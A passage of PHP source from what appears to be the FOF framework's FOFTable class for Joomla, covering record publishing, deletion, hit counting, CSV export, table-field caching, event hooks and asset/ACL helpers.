if (count($cid) < 1)
{
if ($this->$k)
{
$cid = array($this->$k);
}
else
{
$this->setError("No items selected.");
return false;
}
}
if (!$this->onBeforePublish($cid, $publish))
{
return false;
}
$query = $this->_db->getQuery(true)
->update($this->_db->qn($this->_tbl))
->set($this->_db->qn($enabledName) . ' = ' . (int)
$publish);
$checkin = in_array($locked_byName, $this->getKnownFields());
if ($checkin)
{
$query->where(
' (' . $this->_db->qn($locked_byName) .
' = 0 OR ' . $this->_db->qn($locked_byName) . ' =
' . (int) $user_id . ')', 'AND'
);
}
// TODO Rewrite this statment using IN. Check if it work in SQLServer and
PostgreSQL
$cids = $this->_db->qn($k) . ' = ' . implode(' OR
' . $this->_db->qn($k) . ' = ', $cid);
$query->where('(' . $cids . ')');
$this->_db->setQuery((string) $query);
if (version_compare(JVERSION, '3.0', 'ge'))
{
try
{
$this->_db->execute();
}
catch (Exception $e)
{
$this->setError($e->getMessage());
}
}
else
{
if (!$this->_db->execute())
{
$this->setError($this->_db->getErrorMsg());
return false;
}
}
if (count($cid) == 1 && $checkin)
{
if ($this->_db->getAffectedRows() == 1)
{
$this->checkin($cid[0]);
if ($this->$k == $cid[0])
{
$this->$enabledName = $publish;
}
}
}
$this->setError('');
return true;
}
/**
* Delete a record
*
* @param integer $oid The primary key value of the item to delete
*
* @throws UnexpectedValueException
*
* @return boolean True on success
*/
public function delete($oid = null)
{
if ($oid)
{
$this->load($oid);
}
$k = $this->_tbl_key;
$pk = (!$oid) ? $this->$k : $oid;
// If no primary key is given, return false.
if (!$pk)
{
throw new UnexpectedValueException('Null primary key not
allowed.');
}
// Execute the logic only if I have a primary key, otherwise I could have
weird results
if (!$this->onBeforeDelete($oid))
{
return false;
}
// Delete the row by primary key.
$query = $this->_db->getQuery(true);
$query->delete();
$query->from($this->_tbl);
$query->where($this->_tbl_key . ' = ' .
$this->_db->q($pk));
$this->_db->setQuery($query);
$this->_db->execute();
$result = $this->onAfterDelete($oid);
return $result;
}
/**
* Register a hit on a record
*
* @param integer $oid The primary key value of the record
* @param boolean $log Should I log the hit?
*
* @return boolean True on success
*/
public function hit($oid = null, $log = false)
{
if (!$this->onBeforeHit($oid, $log))
{
return false;
}
// If there is no hits field, just return true.
$hits_field = $this->getColumnAlias('hits');
if (!in_array($hits_field, $this->getKnownFields()))
{
return true;
}
$k = $this->_tbl_key;
$pk = ($oid) ? $oid : $this->$k;
// If no primary key is given, return false.
if (!$pk)
{
$result = false;
}
else
{
// Check the row in by primary key.
$query = $this->_db->getQuery(true)
->update($this->_tbl)
->set($this->_db->qn($hits_field) . ' = (' .
$this->_db->qn($hits_field) . ' + 1)')
->where($this->_tbl_key . ' = ' .
$this->_db->q($pk));
$this->_db->setQuery($query)->execute();
// In order to update the table object, I have to load the table
if(!$this->$k)
{
$query = $this->_db->getQuery(true)
->select($this->_db->qn($hits_field))
->from($this->_db->qn($this->_tbl))
->where($this->_db->qn($this->_tbl_key) . ' =
' . $this->_db->q($pk));
$this->$hits_field =
$this->_db->setQuery($query)->loadResult();
}
else
{
// Set table values in the object.
$this->$hits_field++;
}
$result = true;
}
if ($result)
{
$result = $this->onAfterHit($oid);
}
return $result;
}
/**
* Export the item as a CSV line
*
* @param string $separator CSV separator. Tip: use "\t" to
get a TSV file instead.
*
* @return string The CSV line
*/
public function toCSV($separator = ',')
{
$csv = array();
foreach (get_object_vars($this) as $k => $v)
{
if (!in_array($k, $this->getKnownFields()))
{
continue;
}
$csv[] = '"' . str_replace('"',
'""', $v) . '"';
}
$csv = implode($separator, $csv);
return $csv;
}
/**
* Exports the table in array format
*
* @return array
*/
public function getData()
{
$ret = array();
foreach (get_object_vars($this) as $k => $v)
{
if (!in_array($k, $this->getKnownFields()))
{
continue;
}
$ret[$k] = $v;
}
return $ret;
}
/**
* Get the header for exporting item list to CSV
*
* @param string $separator CSV separator. Tip: use "\t" to
get a TSV file instead.
*
* @return string The CSV file's header
*/
public function getCSVHeader($separator = ',')
{
$csv = array();
foreach (get_object_vars($this) as $k => $v)
{
if (!in_array($k, $this->getKnownFields()))
{
continue;
}
$csv[] = '"' . str_replace('"',
'\"', $k) . '"';
}
$csv = implode($separator, $csv);
return $csv;
}
/**
* Get the columns from a database table.
*
* @param string $tableName Table name. If null current table is used
*
* @return mixed An array of the field names, or false if an error
occurs.
*/
public function getTableFields($tableName = null)
{
// Should I load the cached data?
$useCache = array_key_exists('use_table_cache',
$this->config) ? $this->config['use_table_cache'] : false;
// Make sure we have a list of tables in this db
if (empty(self::$tableCache))
{
if ($useCache)
{
// Try to load table cache from a cache file
$cacheData =
FOFPlatform::getInstance()->getCache('tables', null);
// Unserialise the cached data, or set the table cache to empty
// if the cache data wasn't loaded.
if (!is_null($cacheData))
{
self::$tableCache = json_decode($cacheData, true);
}
else
{
self::$tableCache = array();
}
}
// This check is true if the cache data doesn't exist / is not
loaded
if (empty(self::$tableCache))
{
self::$tableCache = $this->_db->getTableList();
if ($useCache)
{
FOFPlatform::getInstance()->setCache('tables',
json_encode(self::$tableCache));
}
}
}
// Make sure the cached table fields cache is loaded
if (empty(self::$tableFieldCache))
{
if ($useCache)
{
// Try to load table cache from a cache file
$cacheData =
FOFPlatform::getInstance()->getCache('tablefields', null);
// Unserialise the cached data, or set to empty if the cache
// data wasn't loaded.
if (!is_null($cacheData))
{
$decoded = json_decode($cacheData, true);
$tableCache = array();
if (count($decoded))
{
foreach ($decoded as $myTableName => $tableFields)
{
$temp = array();
if (is_array($tableFields))
{
foreach($tableFields as $field => $def)
{
$temp[$field] = (object)$def;
}
$tableCache[$myTableName] = $temp;
}
elseif (is_object($tableFields) || is_bool($tableFields))
{
$tableCache[$myTableName] = $tableFields;
}
}
}
self::$tableFieldCache = $tableCache;
}
else
{
self::$tableFieldCache = array();
}
}
}
if (!$tableName)
{
$tableName = $this->_tbl;
}
// Try to load again column specifications if the table is not loaded OR
if it's loaded and
// the previous call returned an error
if (!array_key_exists($tableName, self::$tableFieldCache) ||
(isset(self::$tableFieldCache[$tableName]) &&
!self::$tableFieldCache[$tableName]))
{
// Lookup the fields for this table only once.
$name = $tableName;
$prefix = $this->_db->getPrefix();
if (substr($name, 0, 3) == '#__')
{
$checkName = $prefix . substr($name, 3);
}
else
{
$checkName = $name;
}
if (!in_array($checkName, self::$tableCache))
{
// The table doesn't exist. Return false.
self::$tableFieldCache[$tableName] = false;
}
elseif (version_compare(JVERSION, '3.0', 'ge'))
{
$fields = $this->_db->getTableColumns($name, false);
if (empty($fields))
{
$fields = false;
}
self::$tableFieldCache[$tableName] = $fields;
}
else
{
$fields = $this->_db->getTableFields($name, false);
if (!isset($fields[$name]))
{
$fields = false;
}
self::$tableFieldCache[$tableName] = $fields[$name];
}
// PostgreSQL date type compatibility
if (($this->_db->name == 'postgresql') &&
(self::$tableFieldCache[$tableName] != false))
{
foreach (self::$tableFieldCache[$tableName] as $field)
{
if (strtolower($field->type) == 'timestamp without time
zone')
{
if (stristr($field->Default, '\'::timestamp without time
zone'))
{
list ($date, $junk) = explode('::', $field->Default,
2);
$field->Default = trim($date, "'");
}
}
}
}
// Save the data for this table into the cache
if ($useCache)
{
$cacheData =
FOFPlatform::getInstance()->setCache('tablefields',
json_encode(self::$tableFieldCache));
}
}
return self::$tableFieldCache[$tableName];
}
public function getTableAlias()
{
return $this->_tableAlias;
}
public function setTableAlias($string)
{
$string = preg_replace('#[^A-Z0-9_]#i', '', $string);
$this->_tableAlias = $string;
}
/**
* Method to return the real name of a "special" column such as
ordering, hits, published
* etc etc. In this way you are free to follow your db naming convention
and use the
* built in Joomla functions.
*
* @param string $column Name of the "special" column (ie
ordering, hits etc etc)
*
* @return string The string that identify the special
*/
public function getColumnAlias($column)
{
if (isset($this->_columnAlias[$column]))
{
$return = $this->_columnAlias[$column];
}
else
{
$return = $column;
}
$return = preg_replace('#[^A-Z0-9_]#i', '', $return);
return $return;
}
/**
* Method to register a column alias for a "special" column.
*
* @param string $column The "special" column (ie
ordering)
* @param string $columnAlias The real column name (ie foo_ordering)
*
* @return void
*/
public function setColumnAlias($column, $columnAlias)
{
$column = strtolower($column);
$column = preg_replace('#[^A-Z0-9_]#i',
'', $column);
$this->_columnAlias[$column] = $columnAlias;
}
/**
* Get a JOIN query, used to join other tables
*
* @param boolean $asReference Return an object reference instead of a
copy
*
* @return FOFDatabaseQuery Query used to join other tables
*/
public function getQueryJoin($asReference = false)
{
if ($asReference)
{
return $this->_queryJoin;
}
else
{
if ($this->_queryJoin)
{
return clone $this->_queryJoin;
}
else
{
return null;
}
}
}
/**
* Sets the query with joins to other tables
*
* @param FOFDatabaseQuery $query The JOIN query to use
*
* @return void
*/
public function setQueryJoin($query)
{
$this->_queryJoin = $query;
}
/**
* Extracts the fields from the join query
*
* @return array Fields contained in the join query
*/
protected function getQueryJoinFields()
{
$query = $this->getQueryJoin();
if (!$query)
{
return array();
}
$tables = array();
$j_tables = array();
$j_fields = array();
// Get joined tables. Ignore FROM clause, since it should not be used
(the starting point is the table "table")
$joins = $query->join;
foreach ($joins as $join)
{
$tables = array_merge($tables, $join->getElements());
}
// Clean up table names
foreach($tables as $table)
{
preg_match('#(.*)((\w)*(on|using))(.*)#i', $table, $matches);
if($matches && isset($matches[1]))
{
// I always want the first part, no matter what
$parts = explode(' ', $matches[1]);
$t_table = $parts[0];
if($this->isQuoted($t_table))
{
$t_table = substr($t_table, 1, strlen($t_table) - 2);
}
if(!in_array($t_table, $j_tables))
{
$j_tables[] = $t_table;
}
}
}
// Do I have the current table inside the query join? Remove it (its
fields are already ok)
$find = array_search($this->getTableName(), $j_tables);
if($find !== false)
{
unset($j_tables[$find]);
}
// Get table fields
$fields = array();
foreach ($j_tables as $table)
{
$t_fields = $this->getTableFields($table);
if ($t_fields)
{
$fields = array_merge($fields, $t_fields);
}
}
// Remove any fields that aren't in the joined select
$j_select = $query->select;
if ($j_select && $j_select->getElements())
{
$j_fields =
$this->normalizeSelectFields($j_select->getElements());
}
// I can intesect the keys
$fields = array_intersect_key($fields, $j_fields);
// Now I walk again the array to change the key of columns that have an
alias
foreach ($j_fields as $column => $alias)
{
if ($column != $alias)
{
$fields[$alias] = $fields[$column];
unset($fields[$column]);
}
}
return $fields;
}
/**
* Normalizes the fields, returning an associative array with all the
fields.
* Ie array('foobar as foo, bar') becomes
array('foobar' => 'foo', 'bar' =>
'bar')
*
* @param array $fields Array with column fields
*
* @return array Normalized array
*/
protected function normalizeSelectFields($fields)
{
$db = FOFPlatform::getInstance()->getDbo();
$return = array();
foreach ($fields as $field)
{
$t_fields = explode(',', $field);
foreach ($t_fields as $t_field)
{
// Is there any alias?
$parts = preg_split('#\sas\s#i', $t_field);
// Do I have a table.column situation? Let's get the field name
$tableField = explode('.', $parts[0]);
if(isset($tableField[1]))
{
$column = trim($tableField[1]);
}
else
{
$column = trim($tableField[0]);
}
// Is this field quoted? If so, remove the quotes
if($this->isQuoted($column))
{
$column = substr($column, 1, strlen($column) - 2);
}
if(isset($parts[1]))
{
$alias = trim($parts[1]);
// Is this field quoted? If so, remove the quotes
if($this->isQuoted($alias))
{
$alias = substr($alias, 1, strlen($alias) - 2);
}
}
else
{
$alias = $column;
}
$return[$column] = $alias;
}
}
return $return;
}
/**
* Is the field quoted?
*
* @param string $column Column field
*
* @return bool Is the field quoted?
*/
protected function isQuoted($column)
{
// Empty string, un-quoted by definition
if(!$column)
{
return false;
}
// I need some "magic". If the first char is not a letter, a
number
// an underscore or # (needed for table), then most likely the field is
quoted
preg_match_all('/^[a-z0-9_#]/i', $column, $matches);
if(!$matches[0])
{
return true;
}
return false;
}
/**
* The event which runs before binding data to the table
*
* NOTE TO 3RD PARTY DEVELOPERS:
*
* When you override the following methods in your child classes,
* be sure to call parent::method *AFTER* your code, otherwise the
* plugin events do NOT get triggered
*
* Example:
* protected function onBeforeBind(){
* // Your code here
* return parent::onBeforeBind() && $your_result;
* }
*
* Do not do it the other way around, e.g. return $your_result &&
parent::onBeforeBind()
* Due to PHP short-circuit boolean evaluation the parent::onBeforeBind()
* will not be called if $your_result is false.
*
* @param object|array &$from The data to bind
*
* @return boolean True on success
*/
protected function onBeforeBind(&$from)
{
// Call the behaviors
$result = $this->tableDispatcher->trigger('onBeforeBind',
array(&$this, &$from));
if (in_array(false, $result, true))
{
// Behavior failed, return false
return false;
}
if ($this->_trigger_events)
{
$name = FOFInflector::pluralize($this->getKeyName());
$result =
FOFPlatform::getInstance()->runPlugins('onBeforeBind' .
ucfirst($name), array(&$this, &$from));
if (in_array(false, $result, true))
{
return false;
}
else
{
return true;
}
}
return true;
}
/**
* The event which runs after loading a record from the database
*
* @param boolean &$result Did the load succeeded?
*
* @return void
*/
protected function onAfterLoad(&$result)
{
// Call the behaviors
$eventResult =
$this->tableDispatcher->trigger('onAfterLoad',
array(&$this, &$result));
if (in_array(false, $eventResult, true))
{
// Behavior failed, return false
$result = false;
return false;
}
if ($this->_trigger_events)
{
$name = FOFInflector::pluralize($this->getKeyName());
FOFPlatform::getInstance()->runPlugins('onAfterLoad' .
ucfirst($name), array(&$this, &$result));
}
}
/**
* The event which runs before storing (saving) data to the database
*
* @param boolean $updateNulls Should nulls be saved as nulls (true)
or just skipped over (false)?
*
* @return boolean True to allow saving
*/
protected function onBeforeStore($updateNulls)
{
// Do we have a "Created" set of fields?
$created_on = $this->getColumnAlias('created_on');
$created_by = $this->getColumnAlias('created_by');
$modified_on = $this->getColumnAlias('modified_on');
$modified_by = $this->getColumnAlias('modified_by');
$locked_on = $this->getColumnAlias('locked_on');
$locked_by = $this->getColumnAlias('locked_by');
$title = $this->getColumnAlias('title');
$slug = $this->getColumnAlias('slug');
$hasCreatedOn = in_array($created_on, $this->getKnownFields());
$hasCreatedBy = in_array($created_by, $this->getKnownFields());
if ($hasCreatedOn && $hasCreatedBy)
{
$hasModifiedOn = in_array($modified_on, $this->getKnownFields());
$hasModifiedBy = in_array($modified_by, $this->getKnownFields());
$nullDate = $this->_db->getNullDate();
if (empty($this->$created_by) || ($this->$created_on == $nullDate)
|| empty($this->$created_on))
{
$uid = FOFPlatform::getInstance()->getUser()->id;
if ($uid)
{
$this->$created_by =
FOFPlatform::getInstance()->getUser()->id;
}
$date = FOFPlatform::getInstance()->getDate('now', null,
false);
$this->$created_on = method_exists($date, 'toSql') ?
$date->toSql() : $date->toMySQL();
}
elseif ($hasModifiedOn && $hasModifiedBy)
{
$uid = FOFPlatform::getInstance()->getUser()->id;
if ($uid)
{
$this->$modified_by =
FOFPlatform::getInstance()->getUser()->id;
}
$date =
FOFPlatform::getInstance()->getDate('now', null, false);
$this->$modified_on = method_exists($date, 'toSql') ?
$date->toSql() : $date->toMySQL();
}
}
// Do we have a set of title and slug fields?
$hasTitle = in_array($title, $this->getKnownFields());
$hasSlug = in_array($slug, $this->getKnownFields());
if ($hasTitle && $hasSlug)
{
if (empty($this->$slug))
{
// Create a slug from the title
$this->$slug = FOFStringUtils::toSlug($this->$title);
}
else
{
// Filter the slug for invalid characters
$this->$slug = FOFStringUtils::toSlug($this->$slug);
}
// Make sure we don't have a duplicate slug on this table
$db = $this->getDbo();
$query = $db->getQuery(true)
->select($db->qn($slug))
->from($this->_tbl)
->where($db->qn($slug) . ' = ' .
$db->q($this->$slug))
->where('NOT ' . $db->qn($this->_tbl_key) . ' =
' . $db->q($this->{$this->_tbl_key}));
$db->setQuery($query);
$existingItems = $db->loadAssocList();
$count = 0;
$newSlug = $this->$slug;
while (!empty($existingItems))
{
$count++;
$newSlug = $this->$slug . '-' . $count;
$query = $db->getQuery(true)
->select($db->qn($slug))
->from($this->_tbl)
->where($db->qn($slug) . ' = ' . $db->q($newSlug))
->where('NOT '. $db->qn($this->_tbl_key) . ' =
' . $db->q($this->{$this->_tbl_key}));
$db->setQuery($query);
$existingItems = $db->loadAssocList();
}
$this->$slug = $newSlug;
}
// Call the behaviors
$result =
$this->tableDispatcher->trigger('onBeforeStore',
array(&$this, $updateNulls));
if (in_array(false, $result, true))
{
// Behavior failed, return false
return false;
}
// Execute onBeforeStore<tablename> events in loaded plugins
if ($this->_trigger_events)
{
$name = FOFInflector::pluralize($this->getKeyName());
$result =
FOFPlatform::getInstance()->runPlugins('onBeforeStore' .
ucfirst($name), array(&$this, $updateNulls));
if (in_array(false, $result, true))
{
return false;
}
else
{
return true;
}
}
return true;
}
/**
* The event which runs after binding data to the class
*
* @param object|array &$src The data to bind
*
* @return boolean True to allow binding without an error
*/
protected function onAfterBind(&$src)
{
// Call the behaviors
$options = array(
'component' =>
$this->input->get('option'),
'view' => $this->input->get('view'),
'table_prefix' => $this->_tablePrefix
);
$result = $this->tableDispatcher->trigger('onAfterBind',
array(&$this, &$src, $options));
if (in_array(false, $result, true))
{
// Behavior failed, return false
return false;
}
if ($this->_trigger_events)
{
$name = FOFInflector::pluralize($this->getKeyName());
$result =
FOFPlatform::getInstance()->runPlugins('onAfterBind' .
ucfirst($name), array(&$this, &$src));
if (in_array(false, $result, true))
{
return false;
}
else
{
return true;
}
}
return true;
}
/**
* The event which runs after storing (saving) data to the database
*
* @return boolean True to allow saving without an error
*/
protected function onAfterStore()
{
// Call the behaviors
$result = $this->tableDispatcher->trigger('onAfterStore',
array(&$this));
if (in_array(false, $result, true))
{
// Behavior failed, return false
return false;
}
if ($this->_trigger_events)
{
$name = FOFInflector::pluralize($this->getKeyName());
$result =
FOFPlatform::getInstance()->runPlugins('onAfterStore' .
ucfirst($name), array(&$this));
if (in_array(false, $result, true))
{
return false;
}
else
{
return true;
}
}
return true;
}
/**
* The event which runs before moving a record
*
* @param boolean $updateNulls Should nulls be saved as nulls (true)
or just skipped over (false)?
*
* @return boolean True to allow moving
*/
protected function onBeforeMove($updateNulls)
{
// Call the behaviors
$result = $this->tableDispatcher->trigger('onBeforeMove',
array(&$this, $updateNulls));
if (in_array(false, $result, true))
{
// Behavior failed, return false
return false;
}
if ($this->_trigger_events)
{
$name = FOFInflector::pluralize($this->getKeyName());
$result =
FOFPlatform::getInstance()->runPlugins('onBeforeMove' .
ucfirst($name), array(&$this, $updateNulls));
if (in_array(false, $result, true))
{
return false;
}
else
{
return true;
}
}
return true;
}
/**
* The event which runs after moving a record
*
* @return boolean True to allow moving without an error
*/
protected function onAfterMove()
{
// Call the behaviors
$result = $this->tableDispatcher->trigger('onAfterMove',
array(&$this));
if (in_array(false, $result, true))
{
// Behavior failed, return false
return false;
}
if ($this->_trigger_events)
{
$name = FOFInflector::pluralize($this->getKeyName());
$result =
FOFPlatform::getInstance()->runPlugins('onAfterMove' .
ucfirst($name), array(&$this));
if (in_array(false, $result, true))
{
return false;
}
else
{
return true;
}
}
return true;
}
/**
* The event which runs before reordering a table
*
* @param string $where The WHERE clause of the SQL query to run on
reordering (record filter)
*
* @return boolean True to allow reordering
*/
protected function onBeforeReorder($where = '')
{
// Call the behaviors
$result =
$this->tableDispatcher->trigger('onBeforeReorder',
array(&$this, $where));
if (in_array(false, $result, true))
{
// Behavior failed, return false
return false;
}
if ($this->_trigger_events)
{
$name = FOFInflector::pluralize($this->getKeyName());
$result =
FOFPlatform::getInstance()->runPlugins('onBeforeReorder' .
ucfirst($name), array(&$this, $where));
if (in_array(false, $result, true))
{
return false;
}
else
{
return true;
}
}
return true;
}
/**
* The event which runs after reordering a table
*
* @return boolean True to allow the reordering to complete without an
error
*/
protected function onAfterReorder()
{
// Call the behaviors
$result =
$this->tableDispatcher->trigger('onAfterReorder',
array(&$this));
if (in_array(false, $result, true))
{
// Behavior failed, return false
return false;
}
if ($this->_trigger_events)
{
$name = FOFInflector::pluralize($this->getKeyName());
$result =
FOFPlatform::getInstance()->runPlugins('onAfterReorder' .
ucfirst($name), array(&$this));
if (in_array(false, $result, true))
{
return false;
}
else
{
return true;
}
}
return true;
}
/**
* The event which runs before deleting a record
*
* @param integer $oid The PK value of the record to delete
*
* @return boolean True to allow the deletion
*/
protected function onBeforeDelete($oid)
{
// Call the behaviors
$result =
$this->tableDispatcher->trigger('onBeforeDelete',
array(&$this, $oid));
if (in_array(false, $result, true))
{
// Behavior failed, return false
return false;
}
if ($this->_trigger_events)
{
$name = FOFInflector::pluralize($this->getKeyName());
$result =
FOFPlatform::getInstance()->runPlugins('onBeforeDelete' .
ucfirst($name), array(&$this, $oid));
if (in_array(false, $result, true))
{
return false;
}
else
{
return true;
}
}
return true;
}
/**
* The event which runs after deleting a record
*
* @param integer $oid The PK value of the record which was deleted
*
* @return boolean True to allow the deletion without errors
*/
protected function onAfterDelete($oid)
{
// Call the behaviors
$result =
$this->tableDispatcher->trigger('onAfterDelete',
array(&$this, $oid));
if (in_array(false, $result, true))
{
// Behavior failed, return false
return false;
}
if ($this->_trigger_events)
{
$name = FOFInflector::pluralize($this->getKeyName());
$result =
FOFPlatform::getInstance()->runPlugins('onAfterDelete' .
ucfirst($name), array(&$this, $oid));
if (in_array(false, $result, true))
{
return false;
}
else
{
return true;
}
}
return true;
}
/**
* The event which runs before hitting a record
*
* @param integer $oid The PK value of the record to hit
* @param boolean $log Should we log the hit?
*
* @return boolean True to allow the hit
*/
protected function onBeforeHit($oid, $log)
{
// Call the behaviors
$result = $this->tableDispatcher->trigger('onBeforeHit',
array(&$this, $oid, $log));
if (in_array(false, $result, true))
{
// Behavior failed, return false
return false;
}
if ($this->_trigger_events)
{
$name = FOFInflector::pluralize($this->getKeyName());
$result =
FOFPlatform::getInstance()->runPlugins('onBeforeHit' .
ucfirst($name), array(&$this, $oid, $log));
if (in_array(false, $result, true))
{
return false;
}
else
{
return true;
}
}
return true;
}
/**
* The event which runs after hitting a record
*
* @param integer $oid The PK value of the record which was hit
*
* @return boolean True to allow the hitting without errors
*/
protected function onAfterHit($oid)
{
// Call the behaviors
$result = $this->tableDispatcher->trigger('onAfterHit',
array(&$this, $oid));
if (in_array(false, $result, true))
{
// Behavior failed, return false
return false;
}
if ($this->_trigger_events)
{
$name = FOFInflector::pluralize($this->getKeyName());
$result =
FOFPlatform::getInstance()->runPlugins('onAfterHit' .
ucfirst($name), array(&$this, $oid));
if (in_array(false, $result, true))
{
return false;
}
else
{
return true;
}
}
return true;
}
/**
* The even which runs before copying a record
*
* @param integer $oid The PK value of the record being copied
*
* @return boolean True to allow the copy to take place
*/
protected function onBeforeCopy($oid)
{
// Call the behaviors
$result = $this->tableDispatcher->trigger('onBeforeCopy',
array(&$this, $oid));
if (in_array(false, $result, true))
{
// Behavior failed, return false
return false;
}
if ($this->_trigger_events)
{
$name = FOFInflector::pluralize($this->getKeyName());
$result =
FOFPlatform::getInstance()->runPlugins('onBeforeCopy' .
ucfirst($name), array(&$this, $oid));
if (in_array(false, $result, true))
{
return false;
}
else
{
return true;
}
}
return true;
}
/**
* The even which runs after copying a record
*
* @param integer $oid The PK value of the record which was copied
(not the new one)
*
* @return boolean True to allow the copy without errors
*/
protected function onAfterCopy($oid)
{
// Call the behaviors
$result = $this->tableDispatcher->trigger('onAfterCopy',
array(&$this, $oid));
if (in_array(false, $result, true))
{
// Behavior failed, return false
return false;
}
if ($this->_trigger_events)
{
$name = FOFInflector::pluralize($this->getKeyName());
$result =
FOFPlatform::getInstance()->runPlugins('onAfterCopy' .
ucfirst($name), array(&$this, $oid));
if (in_array(false, $result, true))
{
return false;
}
else
{
return true;
}
}
return true;
}
/**
* The event which runs before a record is (un)published
*
* @param integer|array &$cid The PK IDs of the records being
(un)published
* @param integer $publish 1 to publish, 0 to unpublish
*
* @return boolean True to allow the (un)publish to proceed
*/
protected function onBeforePublish(&$cid, $publish)
{
// Call the behaviors
$result =
$this->tableDispatcher->trigger('onBeforePublish',
array(&$this, &$cid, $publish));
if (in_array(false, $result, true))
{
// Behavior failed, return false
return false;
}
if ($this->_trigger_events)
{
$name = FOFInflector::pluralize($this->getKeyName());
$result =
FOFPlatform::getInstance()->runPlugins('onBeforePublish' .
ucfirst($name), array(&$this, &$cid, $publish));
if (in_array(false, $result, true))
{
return false;
}
else
{
return true;
}
}
return true;
}
/**
* The event which runs after the object is reset to its default values.
*
* @return boolean True to allow the reset to complete without errors
*/
protected function onAfterReset()
{
// Call the behaviors
$result = $this->tableDispatcher->trigger('onAfterReset',
array(&$this));
if (in_array(false, $result, true))
{
// Behavior failed, return false
return false;
}
if ($this->_trigger_events)
{
$name = FOFInflector::pluralize($this->getKeyName());
$result =
FOFPlatform::getInstance()->runPlugins('onAfterReset' .
ucfirst($name), array(&$this));
if (in_array(false, $result, true))
{
return false;
}
else
{
return true;
}
}
return true;
}
/**
* The even which runs before the object is reset to its default values.
*
* @return boolean True to allow the reset to complete
*/
protected function onBeforeReset()
{
// Call the behaviors
$result =
$this->tableDispatcher->trigger('onBeforeReset',
array(&$this));
if (in_array(false, $result, true))
{
// Behavior failed, return false
return false;
}
if ($this->_trigger_events)
{
$name = FOFInflector::pluralize($this->getKeyName());
$result =
FOFPlatform::getInstance()->runPlugins('onBeforeReset' .
ucfirst($name), array(&$this));
if (in_array(false, $result, true))
{
return false;
}
else
{
return true;
}
}
return true;
}
/**
* Replace the input object of this table with the provided FOFInput
object
*
* @param FOFInput $input The new input object
*
* @return void
*/
public function setInput(FOFInput $input)
{
$this->input = $input;
}
/**
* Get the columns from database table.
*
* @return mixed An array of the field names, or false if an error
occurs.
*
* @deprecated 2.1
*/
public function getFields()
{
return $this->getTableFields();
}
/**
* Add a filesystem path where FOFTable should search for table class
files.
* You may either pass a string or an array of paths.
*
* @param mixed $path A filesystem path or array of filesystem paths
to add.
*
* @return array An array of filesystem paths to find FOFTable classes
in.
*/
public static function addIncludePath($path = null)
{
// If the internal paths have not been initialised, do so with the base
table path.
if (empty(self::$_includePaths))
{
self::$_includePaths = array(__DIR__);
}
// Convert the passed path(s) to add to an array.
settype($path, 'array');
// If we have new paths to add, do so.
if (!empty($path) && !in_array($path, self::$_includePaths))
{
// Check and add each individual new path.
foreach ($path as $dir)
{
// Sanitize path.
$dir = trim($dir);
// Add to the front of the list so that custom paths are searched
first.
array_unshift(self::$_includePaths, $dir);
}
}
return self::$_includePaths;
}
/**
* Loads the asset table related to this table.
* This will help tests, too, since we can mock this function.
*
* @return bool|JTableAsset False on failure, otherwise JTableAsset
*/
protected function getAsset()
{
$name = $this->_getAssetName();
// Do NOT touch JTable here -- we are loading the core asset table which
is a JTable, not a FOFTable
$asset = JTable::getInstance('Asset');
if (!$asset->loadByName($name))
{
return false;
}
return $asset;
}
/**
* Method to compute the default name of the asset.
* The default name is in the form table_name.id
* where id is the value of the primary key of the table.
*
* @throws UnexpectedValueException
*
* @return string
*/
public function getAssetName()
{
$k = $this->_tbl_key;
// If there is no assetKey defined, stop here, or we'll get a
wrong name
if(!$this->_assetKey || !$this->$k)
{
throw new UnexpectedValueException('Table must have an
asset key defined and a value for the table id in order to track
assets');
}
return $this->_assetKey . '.' . (int) $this->$k;
}
/**
* Method to compute the default name of the asset.
* The default name is in the form table_name.id
* where id is the value of the primary key of the table.
*
* @throws UnexpectedValueException
*
* @return string
*/
public function getAssetKey()
{
return $this->_assetKey;
}
/**
* Method to return the title to use for the asset table. In
* tracking the assets a title is kept for each asset so that there is
some
* context available in a unified access manager. Usually this would just
* return $this->title or $this->name or whatever is being used for
the
* primary name of the row. If this method is not overridden, the asset
name is used.
*
* @return string The string to use as the title in the asset table.
*/
public function getAssetTitle()
{
return $this->getAssetName();
}
/**
* Method to get the parent asset under which to register this one.
* By default, all assets are registered to the ROOT node with ID,
* which will default to 1 if none exists.
* The extended class can define a table and id to lookup. If the
* asset does not exist it will be created.
*
* @param FOFTable $table A FOFTable object for the asset parent.
* @param integer $id Id to look up
*
* @return integer
*/
public function getAssetParentId($table = null, $id = null)
{
// For simple cases, parent to the asset root.
$assets = JTable::getInstance('Asset', 'JTable',
array('dbo' => $this->getDbo()));
$rootId = $assets->getRootId();
if (!empty($rootId))
{
return $rootId;
}
return 1;
}
/**
* This method sets the asset key for the items of this table. Obviously,
it
* is only meant to be used when you have a table with an asset field.
*
* @param string $assetKey The name of the asset key to use
*
* @return void
*/
public function setAssetKey($assetKey)
{
$this->_assetKey = $assetKey;
}
/**
* Method to get the database table name for the class.
*
* @return string The name of the database table being modeled.
*/
public function getTableName()
{
return $this->_tbl;
}
/**
* Method to get the primary key field name for the table.
*
* @return string The name of the primary key for the table.
*/
public function getKeyName()
{
return $this->_tbl_key;
}
/**
* Returns the identity value of this record
*
* @return mixed
*/
public function getId()
{
$key = $this->getKeyName();
return $this->$key;
}
/**
* Method to get the FOFDatabaseDriver object.
*
* @return FOFDatabaseDriver The internal database driver object.
*/
public function getDbo()
{
return $this->_db;
}
/**
* Method to set the FOFDatabaseDriver object.
*
* @param FOFDatabaseDriver $db A FOFDatabaseDriver object to be used
by the table object.
*
* @return boolean True on success.
*/
public function setDBO($db)
{
$this->_db = $db;
return true;
}
/**
* Method to set rules for the record.
*
* @param mixed $input A JAccessRules object, JSON string, or array.
*
* @return void
*/
public function setRules($input)
{
if ($input instanceof JAccessRules)
{
$this->_rules = $input;
}
else
{
$this->_rules = new JAccessRules($input);
}
}
/**
* Method to get the rules for the record.
*
* @return JAccessRules object
*/
public function getRules()
{
return $this->_rules;
}
/**
* Method to check if the record is treated as an ACL asset
*
* @return boolean [description]
*/
public function isAssetsTracked()
{
return $this->_trackAssets;
}
/**
* Method to manually set this record as ACL asset or not.
* We have to do this since the automatic check is made in the
constructor, but here we can't set any alias.
* So, even if you have an alias for `asset_id`, it wouldn't be
reconized and assets won't be tracked.
*
* @param $state
*/
public function setAssetsTracked($state)
{
$state = (bool) $state;
if($state)
{
JLoader::import('joomla.access.rules');
}
$this->_trackAssets = $state;
}
/**
* Method to provide a shortcut to binding, checking and storing a
FOFTable
* instance to the database table. The method will check a row in once
the
* data has been stored and if an ordering filter is present will attempt
to
